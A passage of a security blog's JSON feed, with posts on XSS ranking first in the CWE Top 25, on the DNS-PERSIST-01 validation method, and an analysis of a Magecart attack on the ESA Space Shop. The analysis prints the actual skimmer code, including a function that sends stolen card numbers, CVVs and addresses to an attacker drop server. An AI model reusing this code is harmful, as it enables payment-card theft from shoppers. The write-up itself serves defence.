          "content": "<img src=\"https://scotthelme.ghost.io/content/images/2026/03/mitre-cisa.png\" alt=\"XSS Ranked #1 Top Threat of 2025 by MITRE and CISA\"><p>Look who's back! After we completed 2024, XSS managed to get itself ranked as the #1 top threat of the year. I <a href=\"https://scotthelme.co.uk/xss-ranked-1-top-threat-of-2024-by-mitre-and-cisa/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">wrote about that</a>, and at the end of the blog post I said \"<em>Let's make sure that XSS isn't #1 in 2025!</em>\"... Well, I have some bad news...</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2026/03/image.png\" class=\"kg-image\" alt=\"XSS Ranked #1 Top Threat of 2025 by MITRE and CISA\" loading=\"lazy\" width=\"820\" height=\"425\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2026/03/image.png 600w, https://scotthelme.ghost.io/content/images/2026/03/image.png 820w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><h4 id=\"looking-at-the-data\">Looking at the data</h4><p>I wrote a whole bunch in that <a href=\"https://scotthelme.co.uk/xss-ranked-1-top-threat-of-2024-by-mitre-and-cisa/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">previous blog post</a> about what the CVE program is and what CWE means, so if you want the background, you should definitely head there and read that post first. Here, I want to take a look at the data and see how things are going. Looking at the <a href=\"https://cwe.mitre.org/top25/archive/2025/2025_cwe_top25.html?ref=scotthelme.ghost.io#top25list\" rel=\"noreferrer\">list</a> of the Top 25 threat in 2025, and then downloading all of the <a href=\"https://www.cve.org/downloads?utm_source=scotthelme.co.uk\" rel=\"noreferrer\">raw data</a>, we can produce some details on the top threats. </p><p></p><table>\n<thead>\n<tr>\n<th>CWE ID</th>\n<th style=\"text-align:right\">Vulnerabilities Caused</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>CWE-79</td>\n<td style=\"text-align:right\">7,303</td>\n</tr>\n<tr>\n<td>CWE-89</td>\n<td style=\"text-align:right\">3,758</td>\n</tr>\n<tr>\n<td>CWE-862</td>\n<td style=\"text-align:right\">2,190</td>\n</tr>\n<tr>\n<td>CWE-352</td>\n<td style=\"text-align:right\">1,682</td>\n</tr>\n<tr>\n<td>CWE-22</td>\n<td style=\"text-align:right\">967</td>\n</tr>\n<tr>\n<td>CWE-121</td>\n<td style=\"text-align:right\">827</td>\n</tr>\n<tr>\n<td>CWE-284</td>\n<td style=\"text-align:right\">796</td>\n</tr>\n<tr>\n<td>CWE-78</td>\n<td style=\"text-align:right\">748</td>\n</tr>\n<tr>\n<td>CWE-434</td>\n<td style=\"text-align:right\">744</td>\n</tr>\n<tr>\n<td>CWE-120</td>\n<td style=\"text-align:right\">732</td>\n</tr>\n<tr>\n<td>CWE-200</td>\n<td style=\"text-align:right\">703</td>\n</tr>\n<tr>\n<td>CWE-125</td>\n<td style=\"text-align:right\">653</td>\n</tr>\n<tr>\n<td>CWE-416</td>\n<td style=\"text-align:right\">642</td>\n</tr>\n<tr>\n<td>CWE-502</td>\n<td style=\"text-align:right\">619</td>\n</tr>\n<tr>\n<td>CWE-77</td>\n<td style=\"text-align:right\">550</td>\n</tr>\n<tr>\n<td>CWE-20</td>\n<td style=\"text-align:right\">516</td>\n</tr>\n<tr>\n<td>CWE-122</td>\n<td style=\"text-align:right\">513</td>\n</tr>\n<tr>\n<td>CWE-787</td>\n<td style=\"text-align:right\">500</td>\n</tr>\n<tr>\n<td>CWE-918</td>\n<td style=\"text-align:right\">483</td>\n</tr>\n<tr>\n<td>CWE-476</td>\n<td style=\"text-align:right\">478</td>\n</tr>\n<tr>\n<td>CWE-94</td>\n<td style=\"text-align:right\">468</td>\n</tr>\n<tr>\n<td>CWE-863</td>\n<td style=\"text-align:right\">409</td>\n</tr>\n<tr>\n<td>CWE-639</td>\n<td style=\"text-align:right\">362</td>\n</tr>\n<tr>\n<td>CWE-306</td>\n<td style=\"text-align:right\">356</td>\n</tr>\n<tr>\n<td>CWE-770</td>\n<td style=\"text-align:right\">317</td>\n</tr>\n<tr>\n<td><strong>Total</strong></td>\n<td style=\"text-align:right\"><strong>43,473</strong></td>\n</tr>\n</tbody>\n</table>\n<p></p><p>Sadly, as we can see, we still have quite a lot of work to do on this front as XSS (CWE-79) continues to absolutely dominate the rankings! Not only was it the top threat, nothing else even came close.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2026/03/image-1.png\" class=\"kg-image\" alt=\"XSS Ranked #1 Top Threat of 2025 by MITRE and CISA\" loading=\"lazy\" width=\"1000\" height=\"530\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2026/03/image-1.png 600w, https://scotthelme.ghost.io/content/images/2026/03/image-1.png 1000w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><h4 id=\"looking-further-back\">Looking further back</h4><p>Given that the entire archive of the Top 25 is <a href=\"https://cwe.mitre.org/top25/archive/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">available</a>, I thought I'd take a look at how XSS performed over all the years we have data, back as far as 2010(!), and it's not filling me with confidence.</p><p></p><table>\n<thead>\n<tr>\n<th>Year</th>\n<th style=\"text-align:right\">XSS Rank</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>2026</td>\n<td style=\"text-align:right\">#1 (so far!)</td>\n</tr>\n<tr>\n<td>2025</td>\n<td style=\"text-align:right\">#1</td>\n</tr>\n<tr>\n<td>2024</td>\n<td style=\"text-align:right\">#1</td>\n</tr>\n<tr>\n<td>2023</td>\n<td style=\"text-align:right\">#2</td>\n</tr>\n<tr>\n<td>2022</td>\n<td style=\"text-align:right\">#2</td>\n</tr>\n<tr>\n<td>2021</td>\n<td style=\"text-align:right\">#2</td>\n</tr>\n<tr>\n<td>2020</td>\n<td style=\"text-align:right\">#1</td>\n</tr>\n<tr>\n<td>2019</td>\n<td style=\"text-align:right\">#2</td>\n</tr>\n<tr>\n<td>2011</td>\n<td style=\"text-align:right\">#4</td>\n</tr>\n<tr>\n<td>2010</td>\n<td style=\"text-align:right\">#1</td>\n</tr>\n</tbody>\n</table>\n<p></p><p>As far back as the data goes, we have seen that XSS is consistently a top ranked threat, never having the left the <strong><em>Top 4</em></strong>!</p><p></p><h4 id=\"detecting-and-mitigating-xss\">Detecting and Mitigating XSS</h4><p>Regular readers will know by now that Content Security Policy provides for an effective mechanism to protect against XSS. Our sole purpose at <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a> is to help organisations deploy a strong CSP to their website and to monitor for signs of trouble should they arise. We have a whole heap of resources to get you started, so head on over to start a free trial and reach out if you need any support getting going.</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://scotthelme.ghost.io/content/images/2026/03/report-uri---wide.png\" class=\"kg-image\" alt=\"XSS Ranked #1 Top Threat of 2025 by MITRE and CISA\" loading=\"lazy\" width=\"974\" height=\"141\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2026/03/report-uri---wide.png 600w, https://scotthelme.ghost.io/content/images/2026/03/report-uri---wide.png 974w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><p>I have my fingers crossed that we might be able to do something to stop XSS becoming the #1 Top Threat of 2026, but given it already has twice the number of vulnerabilities than its closest competitor, we'd best get started on making some progress soon!</p><p></p>",
          "image": {
            "url": "https://scotthelme.ghost.io/content/images/2026/03/mitre-cisa.png",
            "title": null
          },
          "media": [
            {
              "url": "https://scotthelme.ghost.io/content/images/2026/03/mitre-cisa.png",
              "image": "https://scotthelme.ghost.io/content/images/2026/03/mitre-cisa.png",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "XSS",
              "term": "XSS",
              "url": null
            },
            {
              "label": "Report URI",
              "term": "Report URI",
              "url": null
            },
            {
              "label": "CSP",
              "term": "CSP",
              "url": null
            }
          ]
        },
        {
          "id": "6960bdfda2de7d0001fa2984",
          "title": "DNS-PERSIST-01; Handling Domain Control Validation in a short-lived certificate World",
          "description": "<p>This year, we have a new method for Domain Control Validation arriving called DNS-PERSIST-01. It is quite a fundamental change from how we do DCV now, so let's take a look at the benefits and the drawbacks.</p><p></p><h4 id=\"first-a-quick-recap\">First, a quick recap</h4><p>When you approach a Certificate Authority, like</p>",
          "url": "https://scotthelme.ghost.io/dns-persist-01-handling-domain-control-validation-in-a-short-lived-certificate-world/",
          "published": "2026-02-09T17:55:16.000Z",
          "updated": "2026-02-09T17:55:16.000Z",
          "content": "<img src=\"https://scotthelme.ghost.io/content/images/2026/01/dns-persist-01.webp\" alt=\"DNS-PERSIST-01; Handling Domain Control Validation in a short-lived certificate World\"><p>This year, we have a new method for Domain Control Validation arriving called DNS-PERSIST-01. It is quite a fundamental change from how we do DCV now, so let's take a look at the benefits and the drawbacks.</p><p></p><h4 id=\"first-a-quick-recap\">First, a quick recap</h4><p>When you approach a Certificate Authority, like Let's Encrypt, to issue you a certificate, you need to complete DCV. If I go to Let's Encrypt and say \"I own <code>scotthelme.co.uk</code> so please issue me a certificate for that domain\", Let's Encrypt are required to say \"prove that you own <code>scotthelme.co.uk</code> and we will\". That is the very essence of DCV, the CA needs to <em><strong>V</strong>alidate</em> that I do <em><strong>C</strong>ontrol</em> the <em><strong>D</strong>omain</em> in question. We're not going to delve in to the details, but it will help to have a brief understanding of the existing DCV mechanisms so we can see their shortcomings, and compare those to the potential benefits of the new mechanism.</p><p></p><h4 id=\"http-01\">HTTP-01</h4><p>In order to demonstrate that I do control the domain, Let's Encrypt will give me a specific path on my website that I will host a challenge response. </p><pre><code>http://scotthelme.co.uk/.well-known/acme-challenge/3wQfZp0K4lVbqz6d1Jm2oA</code></pre><p></p><p>At that location, I will place the response which might look something like this.</p><pre><code>3wQfZp0K4lVbqz6d1Jm2oA.P7m1k2Jf8h...b64urlThumbprint...</code></pre><p></p><p>By challenging me to provide this specific response at this specific URL, I have demonstrated to Let's Encrypt that I have control over that web server, and they can now proceed and issue me a certificate. </p><p>The problem with this approach is that it requires the domain to be publicly resolvable, which it might not be, and the system requiring the certificate needs to be capable of hosting web content. Even I have a variety of internal systems that I use certificates on that are not publicly addressable in any way, so I use the next challenge method for them, but HTTP-01 is a great solution if it works for your requirements.</p><p></p><h4 id=\"dns-01\">DNS-01</h4><p>Using the DNS-01 method, Let's Encrypt still need to verify my control of the domain, but the process changes slightly. We're now going to use a DNS TXT record to demonstrate my control, and it will be set on a specific subdomain.</p><pre><code>_acme-challenge.scotthelme.co.uk</code></pre><p></p><p>The format of the challenge response token changes slightly, but the concept remains the same and I will set a DNS record like so:</p><pre><code>Name:  _acme-challenge.scotthelme.co.uk\nType:  TXT\nValue: \"X8d3p0ZJzKQH4cR1N2l6A0M9mJkYwqfZkU5c9bM2EJQ\"</code></pre><p></p><p>Upon completing a DNS resolution and seeing that I have successfully set that record at their request, Let's Encrypt can now issue the certificate as I have demonstrated control over the DNS zone. This is far better for my internal environments, and is the method I use, as all they need to do is hit my DNS providers API to set the record and they can they pull the certificate locally, without having any exposure on the public Internet. The DNS-01 mechanism is also required if you want to issue wildcard certificates, which can't be obtained with HTTP-01. </p><p></p><h4 id=\"tls-alpn-01\">TLS-ALPN-01</h4><p>The final mechanism, which is much less common, requires quite a dynamic effort from the host. The CA can connect to the host on port 443, and advertise a special capability in the TLS handshake. The host at <code>scotthelme.co.uk:443</code> must be able to negotiate that capability, and then generate and provide a certificate with the critically flagged <code>acmeIdentifier</code> extension containing the challenge response token, and the correct names in the SAN.</p><p>That's no small task, so I can see why this mechanism is much less common, but it does have different considerations than HTTP-01 or DNS-01 so if it works for you, it is available. </p><p></p><h4 id=\"in-summary\">In summary</h4><p>All 3 of those mechanisms are currently valid for DCV, and in essence they provide the following:</p><p>HTTP-01 → prove control of web content<br>DNS-01 → prove control of DNS zone<br>TLS-ALPN-01 → prove control of TLS endpoint</p><p></p><h4 id=\"looking-to-the-future\">Looking to the future</h4><p>I think the considerations for each of those mechanisms are clear, with both HTTP-01 and DNS-01 being favoured, and TLS-ALPN-01 trailing behind. Being able to serve web content on the public Internet, or having access and control to a DNS zone, are both quite big requirements that require technical consideration. Don't get me wrong, DCV should not be 'easy', especially when you think about the risks involved with DCV not being done properly or not being effective, but I also understand the difficulties where neither of those mechanisms are quite right for a particular environment and that they come with their own considerations, especially at large scale! </p><p>Another challenge to consider is the continued drive to reduce the lifetime of certificates. You can see my <a href=\"https://scotthelme.co.uk/shorter-certificates-are-coming/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">blog post</a> on how all certificates will be reduced to a maximum of 47 days by 2029, and how Let's Encrypt are already offering <a href=\"https://scotthelme.co.uk/lets-encrypt-to-offer-6-day-certificates/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">6-day certificates</a> now, which is a great things for security, but it does need considering. A CA can verify your control of a domain and remember that for a period of time, continuing to issue new certificates against that previous demonstration of DCV, but the time periods they can be re-used for is also reducing. Here's a side-by-side comparison of the certificate maximum lifetime, and the DCV re-use periods.</p><p></p><table>\n<thead>\n<tr>\n<th>Year</th>\n<th>Certificate Lifetime</th>\n<th>DCV Re-use Window</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>Now</td>\n<td>398 days</td>\n<td>398 days</td>\n</tr>\n<tr>\n<td>2026</td>\n<td>200 days</td>\n<td>200 days</td>\n</tr>\n<tr>\n<td>2027</td>\n<td>100 days</td>\n<td>100 days</td>\n</tr>\n<tr>\n<td>2029</td>\n<td>47 days</td>\n<td>10 days</td>\n</tr>\n</tbody>\n</table>\n<p></p><p>By 2029, DCV will be coming close to being a real-time endeavour. Now, as ACME requires automation, the shortening of certificate lifetime or the DCV re-use window is not really a concern, you simply run your automated task more frequently, but the more widespread use of certificates does pose a challenge. As we use certificates in more and more places, the overheads of the DCV mechanisms become more problematic in different environments.</p><p></p><h4 id=\"dns-persist-01\">DNS-PERSIST-01</h4><p>This new DCV mechanism is a fundamental change in the approach to how DCV takes place, and does offer some definite advantages, whilst also introducing some concerns that are worth thinking about. </p><p>The primary objective here is to set a single, <em>static</em>, DNS record that will allow for continued issuance of new certificates on an ongoing basis for as long as it is present, hence the 'persist' in the name.</p><pre><code>Name:  _acme-persist.scotthelme.co.uk\nType:  TXT\nValue: \"letsencrypt.org; accounturi=https://letsencrypt.org/acme/acct/123456; policy=wildcard\"</code></pre><p></p><p>By setting this new DNS record, I would be allowing Let's Encrypt to issue new certificates using my ACME account specified in the above URL as account ID <code>123456</code>. Let's Encrypt will still need to conduct DCV by checking this DNS record, but, any of my clients requesting a certificate will not have to answer any kind of dynamic challenge. There is no need to serve a HTTP response, no need to create a new DNS record, and no need to craft a special TLS handshake. The client can simply hit the Let's Encrypt API, use the correct ACME account, and have a new certificate issued. This does allow for a huge reduction in the complexity of having new certificates issued, and I can see many environments where this will be greatly welcomed, but we'll cover a few of my concerns a little later.</p><p>Looking at the DNS record itself, we have a couple of configuration options. The <code>policy=wildcard</code> allows the CA and ACME account in question to issue wildcard certificates, it the policy directive is missing, or set to anything other than <code>wildcard</code>, then wildcard certificates will not be allowed. The other configuration value, which I didn't show above, is the <code>persistUntil</code> value.</p><pre><code>Name:  _acme-persist.scotthelme.co.uk\nType:  TXT\nValue: \"letsencrypt.org; accounturi=https://letsencrypt.org/acme/acct/123456; policy=wildcard; persistUntil=1767959300\"</code></pre><p></p><p>This value indicates that this record is valid until Fri Jan 09 2026 11:48:20 GMT+0000, and should not be accepted as valid after that time. This does allow us to set a cap on how long this validation will be accepted for, and addresses one of my concerns. The specification states:</p><blockquote>   *  Domain owners should set expiration dates for validation records<br>      that <strong>balance security and operational needs</strong>.</blockquote><p></p><p>My personal approach would be something like having an automated process to refresh this record on a somewhat regular basis, and perhaps push the <code>persistUntil</code> value out by two weeks, updated on a weekly basis. Something about just having a permanent, static record doesn't sit well with me. There are also the concerns around securing the ACME account credentials because any access to those will then allow for issuance of certificates, without any requirement for the person who obtains them to do any 'live' form of DCV. </p><p>In short, I can see the value that this mechanism will provide to those that need it, but I can also see it being used far more widely as a purely convenience solution to what was a relatively simple process anyway.</p><p></p><h4 id=\"coming-to-a-ca-near-you\">Coming to a CA near you</h4><p>Let's Encrypt have <a href=\"https://letsencrypt.org/2025/12/02/from-90-to-45?ref=scotthelme.ghost.io#making-automation-easier-with-a-new-dns-challenge-type\" rel=\"noreferrer\">stated</a> that they will have support for this in 2026, and I imagine it won't take too much longer for other CAs to start supporting this mechanism too. I'm hoping that GTS will also bring in support soon so we can have a pair of reliable CAs to lean on! For now though, just know that if the existing DCV mechanisms are problematic for you, there might be a solution just around the corner.</p><p></p>",
          "image": {
            "url": "https://scotthelme.ghost.io/content/images/2026/01/dns-persist-01.webp",
            "title": null
          },
          "media": [
            {
              "url": "https://scotthelme.ghost.io/content/images/2026/01/dns-persist-01.webp",
              "image": "https://scotthelme.ghost.io/content/images/2026/01/dns-persist-01.webp",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "DCV",
              "term": "DCV",
              "url": null
            },
            {
              "label": "DNS-PERSIST-01",
              "term": "DNS-PERSIST-01",
              "url": null
            },
            {
              "label": "Certificate Authorities",
              "term": "Certificate Authorities",
              "url": null
            }
          ]
        },
        {
          "id": "697b755b03d4840001b00ed8",
          "title": "The European Space Agency got hacked, and now we own the domain used!",
          "description": "<p>It's not often that two of my interests align so well, but we're talking about space rockets and cyber security! Whilst Magecart and Magecart-style attacks might not be the most common attack vector at the moment, they are still happening with worrying frequency, and they are</p>",
          "url": "https://scotthelme.ghost.io/the-european-space-agency-got-hacked-and-now-we-own-the-domain-used/",
          "published": "2026-02-02T13:01:53.000Z",
          "updated": "2026-02-02T13:01:53.000Z",
          "content": "<img src=\"https://scotthelme.ghost.io/content/images/2026/01/esa-blog.webp\" alt=\"The European Space Agency got hacked, and now we own the domain used!\"><p>It's not often that two of my interests align so well, but we're talking about space rockets and cyber security! Whilst Magecart and Magecart-style attacks might not be the most common attack vector at the moment, they are still happening with worrying frequency, and they are still catching out some pretty big organisations...</p><p></p><h4 id=\"mage-who\">Mage-who? </h4><p>I've talked about Magecart a <a href=\"https://scotthelme.co.uk/tag/magecart/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">lot</a>, and they've posed a significant threat now for almost a decade. The term really gained popularity during 2015-2016 when apparently independent groups of hackers were targeting online e-commerce stores with the goal of stealing huge quantities of payment card data. The primary target was Magento shopping carts (Magento-cart, Magecart) and the goal was for the attackers to find a way to inject JavaScript into the site by any means possible. They could then skim credit card data as it was entered into the site and exfiltrate it to a server controlled by the attackers for later use. Because the victim is typing in the full card number, expiry date, security code, and more, these attacks would yield incredibly valuable data to the attackers and often leave absolutely no visible trace on the website that was breached. Given the perfect alignment with what we do at <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a>, we have a <a href=\"https://report-uri.com/solutions/magecart_protection?ref=scotthelme.ghost.io\" rel=\"noreferrer\">dedicated Solutions page for Magecart</a> with details on how we can help combat this problem if you'd like more information, and our <a href=\"https://report-uri.com/case_studies?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Case Studies</a> page details some pretty big organisations that have been stung by Magecart like British Airways and Ticketmaster.</p><p></p><h4 id=\"the-european-space-agency\">The European Space Agency</h4><p>Just like all of the organisations that have been targeted before them, the attack against the ESA followed the same reliable pattern. We don't always get to understand the particular vulnerability that was exploited to inject the malicious JavaScript into the page, and often we just get to observe the result, which is that the malicious JavaScript is present in the page. The JavaScript is also reliably simple, and often just a bootstrap for a larger attack payload that is only triggered in specific circumstances.</p><p></p><pre><code class=\"language-html\"><script>\n  if (document.location.href.includes(\"checkout\")){\n    var jqScript = document.createElement('script');\n    jqScript.setAttribute('src','https://esaspaceshop.pics/assets/esaspaceshop/jquery.min.js');\n    document.addEventListener(\"DOMContentLoaded\", function(){\n    document.body.appendChild(jqScript);\n    });\n  }\n</script></code></pre><p></p><p>Following that same reliable pattern, you can see here that the first thing the injected payload was doing was to check if the URL of the current page includes <code>checkout</code>. In order to minimise their footprint, the attackers will only trigger their payload on pages that are going to contain the data they want to steal, and these triggers will be updated to match the target site. You can see this Internet Archive <a href=\"https://web.archive.org/web/20241223153137/https://www.esaspaceshop.com/\" rel=\"noreferrer\">link</a> to the ESA Space Shop that contains the above injection in the page.</p><p>Looking at the payload, you can see that once it triggers on the checkout page, it's acting as a bootstrap for the real attack payload that is going to be loaded and is imitating jQuery.</p><p></p><pre><code>https://esaspaceshop.pics/assets/esaspaceshop/jquery.min.js</code></pre><p></p><p>This payload, whilst a little larger, is still painfully simple and has some very clear objectives. </p><p></p><pre><code>var espaceStripeHtml = \"*snip*\";\nvar cookieName = \"6b2ad00bbd228ca0f23879b1e050f03f\";\n\nfunction setCustomCookie(){\n\tlocalStorage.setItem(\"customCookie\", cookieName);\n}\n\nfunction isCustomCookieSet(){\n\tif (localStorage.getItem(\"customCookie\")){\n\t\treturn true;\n\t}\n\telse{\n\t\treturn false;\n\t}\n}\n\n\nif (!isCustomCookieSet()){\n\tsetInterval(function(){\n\t\tif (jQuery(\"#payment-confirmation-true\").length === 0 && jQuery(\"#stripe_stripe_checkout\").length !== 0){\n\t\t\tvar paymentButtonOrig = jQuery(\"#stripe_stripe_checkout\").find(\"button[type='submit']\")[0];\n\t\t\tjQuery(paymentButtonOrig).attr(\"id\", \"payment-confirmation\");\n\t\t\tvar paymentButtonClone = jQuery(paymentButtonOrig).clone(false).unbind();\n\t\t\tjQuery(paymentButtonClone).attr(\"id\", \"payment-confirmation-true\");\n\t\t\tjQuery(paymentButtonClone).attr(\"type\", \"button\");\n\t\t\tjQuery(paymentButtonClone).removeAttr(\"data-bind\");\n\t\t\tjQuery(paymentButtonClone).removeAttr(\"disabled\");\n\t\t\tjQuery(paymentButtonClone).insertBefore(paymentButtonOrig);\n\t\t\tjQuery(\"#payment-confirmation\").hide();\n\t\t\t\n\t\t\tjQuery(paymentButtonClone).on(\"click\", function(){\n\t\t\t\t//parse address\n\t\t\t\tvar checkoutCfg = window.checkoutConfig;\n\t\t\t\tvar addressObject = checkoutCfg['shippingAddressFromData'];\n\t\t\t\t\n\t\t\t\tif (addressObject !== undefined){\n\t\t\t\t\tvar fName = addressObject['firstname'];\n\t\t\t\t\tvar lName = addressObject['lastname'];\n\t\t\t\t\tvar address = addressObject['street'][0];\n\t\t\t\t\tvar country = addressObject['country_id'];\n\t\t\t\t\tvar zip = addressObject['postcode'];\n\t\t\t\t\tvar city = addressObject['city'];\n\t\t\t\t\tvar state = addressObject['region'];\n\t\t\t\t\tvar phone = addressObject['telephone'];\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\tvar fName = jQuery(\"input[name='firstname']\").val();\n\t\t\t\t\tvar lName = jQuery(\"input[name='lastname']\").val();\n\t\t\t\t\tvar address = jQuery(\"input[name='street[0]']\").val();\n\t\t\t\t\tvar country = jQuery(\"select[name='country_id'] option:selected\").val();\n\t\t\t\t\tvar zip = jQuery(\"input[name='postcode']\").val();\n\t\t\t\t\tvar city = jQuery(\"input[name='city']\").val();\n\t\t\t\t\tvar state = jQuery(\"select[name='region_id'] option:selected\").attr(\"data-title\");\n\t\t\t\t\tvar phone = jQuery(\"input[name='telephone']\").val();\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tvar price = parseFloat(checkoutCfg['totalsData']['base_grand_total']).toFixed(2);\n\t\t\t\t\n\t\t\t\tif (fName !== \"\" && lName !== \"\"){\n\t\t\t\t\tvar espaceStripeHtmlClear = decodeURI(atob(espaceStripeHtml));\n\t\t\t\t\tespaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(\"{GRAND_TOTAL}\", price);\n\t\t\t\t\tespaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(\"{EMAIL}\", checkoutCfg['validatedEmailValue']);\n\t\t\t\t\tespaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(\"{fName}\", fName);\n\t\t\t\t\tespaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(\"{lName}\", lName);\n\t\t\t\t\tespaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(\"{address}\", address);\n\t\t\t\t\tespaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(\"{country}\", country);\n\t\t\t\t\tespaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(\"{state}\", state);\n\t\t\t\t\tespaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(\"{zip}\", zip);\n\t\t\t\t\tespaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(\"{city}\", city);\n\t\t\t\t\tespaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(\"{phone}\", phone);\n\t\t\t\t\t\n\t\t\t\t\tdocument.write(espaceStripeHtmlClear);\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\tjQuery(\"#payment-confirmation\").click();\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t}, 100);\n}\n}</code></pre><p></p><p>I've snipped the content of the first variable as it's massive, but I will link to all of the relevant payloads below. Looking through the script, we can summarise the following steps to the attack.</p><ol><li>The first thing the attackers do is check if they have already stolen the payment card details for this user... The <code>setCustomCookie()</code> function, which doesn't actually set a cookie but writes to <code>localStorage</code>, is called later when the attack succeeds and is checked with <code>isCustomCookieSet()</code>. I guess there is no point in increasing your exposure and risk of detection by stealing the same information from the same user multiple times.</li><li>If the payment card details for this user have not been stolen, the script uses <code>setInterval()</code> to create a fast-polling loop to detect the presence of the Stripe payment container on the page.</li><li>Once the payment container has loaded, the real 'checkout' button is identified, disabled and then hidden. A clone is then inserted to replace it so the user will now click the attacker's button instead. </li><li>Clicking the attacker's button will trigger the email, name, address, total value and other information on the page to be recorded, and then the page is swapped for a fake payment page asking for card details. This fake payment page is populated with all of the correct information recorded before the page was swapped. If the attackers detect a problem with the attack and they can't record the details to pass through to their fake payment page, they send the user through the normal checkout process. This is likely another method to avoid detection by not breaking the checkout flow. </li><li>The final step of the attack is to exfiltrate the payment card data that was inserted into the fake payment form by the user. This uses a traditional image tag with the stolen data base64 encoded as a query string parameter to be deposited on a drop server. </li></ol><p></p><p>You can view the full Magecart payload on this <a href=\"https://pastebin.com/KPXai359?ref=scotthelme.ghost.io\" rel=\"noreferrer\">paste here</a>, including the fake base64 encoded payment page, and the Internet Archive have a copy of the payload for reference <a href=\"https://web.archive.org/web/20241223153153/https://esaspaceshop.pics/assets/esaspaceshop/jquery.min.js\" rel=\"noreferrer\">here</a>. PasteBin won't allow me to upload the malicious payload that performs the data exfiltration, but here is the pertinent function. </p><p></p><pre><code class=\"language-javascript\">function makePayment(){\n\t\tsetCustomCookie();\n\t\tvar ccNum = ccnumE.value.replaceAll(\" \", \"\");\n\t\tvar expM = parseInt(ccexpE.value.split(' / ')[0]);\n\t\tvar expY = parseInt(ccexpE.value.split(' / ')[1]);\n\t\tvar cvv = parseInt(cccvvE.value);\n\t\t\n\t\tvar resultString = ccNum   \";\"   expM   \";\"   expY   \";\"   cvv   \";\"   FName   \";\"   LName   \";\"   Address   \";\"   Country   \";\"   Zip   \";\"   State   \";\"   city   \";\"   phone   \";\"   shop;\n\t\t\n\t\tvar resultImg = document.createElement(\"img\");\n\t\tresultImg.src = \"https://esaspaceshop.pics/redirect-non-site.php?datasend=\"   btoa(resultString);\n\t\tresultImg.hidden = true;\n\t\tdocument.body.appendChild(resultImg);\n\t\t\n\t\t//show error\n\t\talert(\"Card number is incomplete, please try again\");\n\t\twindow.location.reload();\n\t}</code></pre><p></p><p>The attackers are grabbing everything on the page, including name, address, country, full card number, security code, expiry date. Everything. They're then exfiltrating that data to a drop server located here:</p><pre><code>https://esaspaceshop.pics/redirect-non-site.php?datasend=</code></pre><p></p><p>Finally, just to improve the effectiveness of their attack, they're showing an error message to the user that says <code>Card number is incomplete, please try again</code>, so the user is likely to double check all of their details are right, and then hit the payment button again, sending a second copy of their information, and the attacker can now definitely confirm they have all of the correct details...</p><p></p><h4 id=\"where-we-could-have-stopped-this-attack\">Where we could have stopped this attack</h4><p>In scenarios like these, the first thing that often gets suggested to me is that if the website didn't have the vulnerability that allowed the bootstrap to be injected, then none of this would have happened. In fairness, I agree. If none of us ever have a vulnerability, then none of us would ever get hacked! In reality, of course, that's a completely impractical approach.</p><p>We have to accept that, at some point, things are going to go wrong. This is the very reason that the concept of <a href=\"https://en.wikipedia.org/wiki/Defence_in_depth_(non-military)?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Defence In Depth</a> even exists. I'm not saying that solutions like Report URI are the primary line of defence against attacks like these, we're not, and we shouldn't be. What I'm saying is that we form part of a necessary Defence In Depth strategy if you want effective protection on the modern Web. The primary line of defence against the above attack was whatever strategy they had that failed. It could have been a malicious code commit by a staff member, a compromise of a server that gave the attackers access, traditional XSS, a dependency that let them down, or a whole bunch of other stuff, but something, somewhere, obviously went wrong. </p><p>Looking at the various ways that Report URI could have detected and stopped this attack, we have a few to choose from. It could have been the prevention of the initial inline script bootstrap even running, by blocking the execution of inline scripts. We could have detected and prevented the addition of the new JS dependency that was then loaded from the <code>esaspaceshop.pics</code> domain. After that, there was the opportunity to detect and prevent the exfiltration of data to the same domain, even though it was using the image loading trick to try and look innocuous. The great thing about our solution is that we run in the browser alongside your visitor which is, quite literally, the last possible step before harm occurs. It does not matter where or how the initial breach occurred, it occurred before we arrived on the scene, which means we can see it. Nothing comes after us, everything comes before us, we're the ideal last line of defence. </p><p></p><h4 